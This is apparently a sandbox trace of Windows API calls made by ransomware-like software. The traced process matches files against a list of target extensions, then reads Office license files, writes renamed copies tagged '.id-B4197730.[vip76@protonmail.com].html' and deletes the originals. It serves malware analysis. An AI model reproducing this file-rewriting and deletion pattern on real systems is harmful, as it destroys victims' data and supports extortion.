	[0193.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.769] lstrlenW (lpString=".doc") returned 4
	[0193.769] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.769] lstrlenW (lpString=".docx") returned 5
	[0193.769] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.769] lstrlenW (lpString=".pdf") returned 4
	[0193.769] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.769] lstrlenW (lpString=".xls") returned 4
	[0193.770] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString=".xlsx") returned 5
	[0193.770] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.770] lstrlenW (lpString=".ppt") returned 4
	[0193.770] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.770] lstrlenW (lpString=".zip") returned 4
	[0193.770] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString=".rar") returned 4
	[0193.770] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString=".bz2") returned 4
	[0193.770] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString=".7z") returned 3
	[0193.770] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.770] lstrlenW (lpString=".dbf") returned 4
	[0193.770] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.770] lstrlenW (lpString=".1cd") returned 4
	[0193.770] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.770] lstrlenW (lpString=".jpg") returned 4
	[0193.770] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.770] lstrlenW (lpString=".doc") returned 4
	[0193.771] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString=".docx") returned 5
	[0193.771] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.771] lstrlenW (lpString=".pdf") returned 4
	[0193.771] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString=".xls") returned 4
	[0193.771] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString=".xlsx") returned 5
	[0193.771] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.771] lstrlenW (lpString=".ppt") returned 4
	[0193.771] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.771] lstrlenW (lpString=".zip") returned 4
	[0193.771] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString=".rar") returned 4
	[0193.771] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString=".bz2") returned 4
	[0193.771] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString=".7z") returned 3
	[0193.771] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.771] lstrlenW (lpString=".dbf") returned 4
	[0193.771] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.771] lstrlenW (lpString=".1cd") returned 4
	[0193.771] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96
	[0193.771] lstrlenW (lpString=".jpg") returned 4
	[0193.771] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.772] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.772] lstrlenW (lpString="HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 34
	[0193.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.773] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=21917) returned 1
	[0193.773] CloseHandle (hObject=0x5d8) returned 1
	[0193.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 0x220
	[0193.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.773] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.773] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0193.774] GetLastError () returned 0x0
	[0193.774] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x559d, lpOverlapped=0x0) returned 1
	[0193.777] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x55a0, lpOverlapped=0x0) returned 1
	[0193.952] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.952] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x118, lpOverlapped=0x0) returned 1
	[0193.952] SetEndOfFile (hFile=0x5dc) returned 1
	[0193.958] CloseHandle (hObject=0x5dc) returned 1
	[0193.958] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.958] SetEndOfFile (hFile=0x5d8) returned 1
	[0193.961] CloseHandle (hObject=0x5d8) returned 1
	[0193.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ppd.xrm-ms")) returned 1
	[0193.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.963] lstrlenW (lpString=".doc") returned 4
	[0193.963] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.963] lstrlenW (lpString=".docx") returned 5
	[0193.963] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.963] lstrlenW (lpString=".pdf") returned 4
	[0193.963] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.963] lstrlenW (lpString=".xls") returned 4
	[0193.963] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.963] lstrlenW (lpString=".xlsx") returned 5
	[0193.963] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.963] lstrlenW (lpString=".ppt") returned 4
	[0193.963] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.964] lstrlenW (lpString=".zip") returned 4
	[0193.964] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString=".rar") returned 4
	[0193.964] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString=".bz2") returned 4
	[0193.964] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString=".7z") returned 3
	[0193.964] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.964] lstrlenW (lpString=".dbf") returned 4
	[0193.964] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.964] lstrlenW (lpString=".1cd") returned 4
	[0193.964] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.964] lstrlenW (lpString=".jpg") returned 4
	[0193.964] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.964] lstrlenW (lpString=".doc") returned 4
	[0193.964] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString=".docx") returned 5
	[0193.964] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.964] lstrlenW (lpString=".pdf") returned 4
	[0193.964] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.964] lstrlenW (lpString=".xls") returned 4
	[0193.964] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.965] lstrlenW (lpString=".xlsx") returned 5
	[0193.965] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.965] lstrlenW (lpString=".ppt") returned 4
	[0193.965] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.965] lstrlenW (lpString=".zip") returned 4
	[0193.965] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.965] lstrlenW (lpString=".rar") returned 4
	[0193.965] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.965] lstrlenW (lpString=".bz2") returned 4
	[0193.965] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.965] lstrlenW (lpString=".7z") returned 3
	[0193.965] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.965] lstrlenW (lpString=".dbf") returned 4
	[0193.965] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.965] lstrlenW (lpString=".1cd") returned 4
	[0193.965] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ppd.xrm-ms") returned 84
	[0193.965] lstrlenW (lpString=".jpg") returned 4
	[0193.965] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.965] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0193.965] lstrlenW (lpString="HomeBusinessR_Grace-ul-oob.xrm-ms") returned 33
	[0193.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.967] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11624) returned 1
	[0193.967] CloseHandle (hObject=0x5d8) returned 1
	[0193.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0193.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0193.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0193.967] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.968] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0193.969] GetLastError () returned 0x0
	[0193.969] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0193.975] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0193.976] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0193.976] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x116, lpOverlapped=0x0) returned 1
	[0193.977] SetEndOfFile (hFile=0x5dc) returned 1
	[0193.977] CloseHandle (hObject=0x5dc) returned 1
	[0193.977] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.977] SetEndOfFile (hFile=0x5d8) returned 1
	[0193.995] CloseHandle (hObject=0x5d8) returned 1
	[0193.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0193.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1
	[0193.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.997] lstrlenW (lpString=".doc") returned 4
	[0193.998] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString=".docx") returned 5
	[0193.998] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.998] lstrlenW (lpString=".pdf") returned 4
	[0193.998] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString=".xls") returned 4
	[0193.998] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString=".xlsx") returned 5
	[0193.998] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.998] lstrlenW (lpString=".ppt") returned 4
	[0193.998] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.998] lstrlenW (lpString=".zip") returned 4
	[0193.998] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString=".rar") returned 4
	[0193.998] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString=".bz2") returned 4
	[0193.998] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString=".7z") returned 3
	[0193.998] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.998] lstrlenW (lpString=".dbf") returned 4
	[0193.998] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.998] lstrlenW (lpString=".1cd") returned 4
	[0193.998] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0193.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.998] lstrlenW (lpString=".jpg") returned 4
	[0193.998] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.999] lstrlenW (lpString=".doc") returned 4
	[0193.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString=".docx") returned 5
	[0193.999] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0193.999] lstrlenW (lpString=".pdf") returned 4
	[0193.999] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString=".xls") returned 4
	[0193.999] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString=".xlsx") returned 5
	[0193.999] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0193.999] lstrlenW (lpString=".ppt") returned 4
	[0193.999] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.999] lstrlenW (lpString=".zip") returned 4
	[0193.999] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString=".rar") returned 4
	[0193.999] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString=".bz2") returned 4
	[0193.999] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0193.999] lstrlenW (lpString=".7z") returned 3
	[0193.999] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0193.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0193.999] lstrlenW (lpString=".dbf") returned 4
	[0193.999] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0194.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0194.000] lstrlenW (lpString=".1cd") returned 4
	[0194.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0194.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0194.000] lstrlenW (lpString=".jpg") returned 4
	[0194.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0194.000] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0194.000] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32
	[0194.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.001] GetFileSizeEx (in: hFile=0x5d8, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=10663) returned 1
	[0194.001] CloseHandle (hObject=0x5d8) returned 1
	[0194.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220
	[0194.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0194.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d8
	[0194.002] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.002] SetFilePointerEx (in: hFile=0x5d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0194.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5dc
	[0194.002] GetLastError () returned 0x0
	[0194.002] ReadFile (in: hFile=0x5d8, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x29a7, lpOverlapped=0x0) returned 1
	[0194.017] WriteFile (in: hFile=0x5dc, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x29b0, lpOverlapped=0x0) returned 1
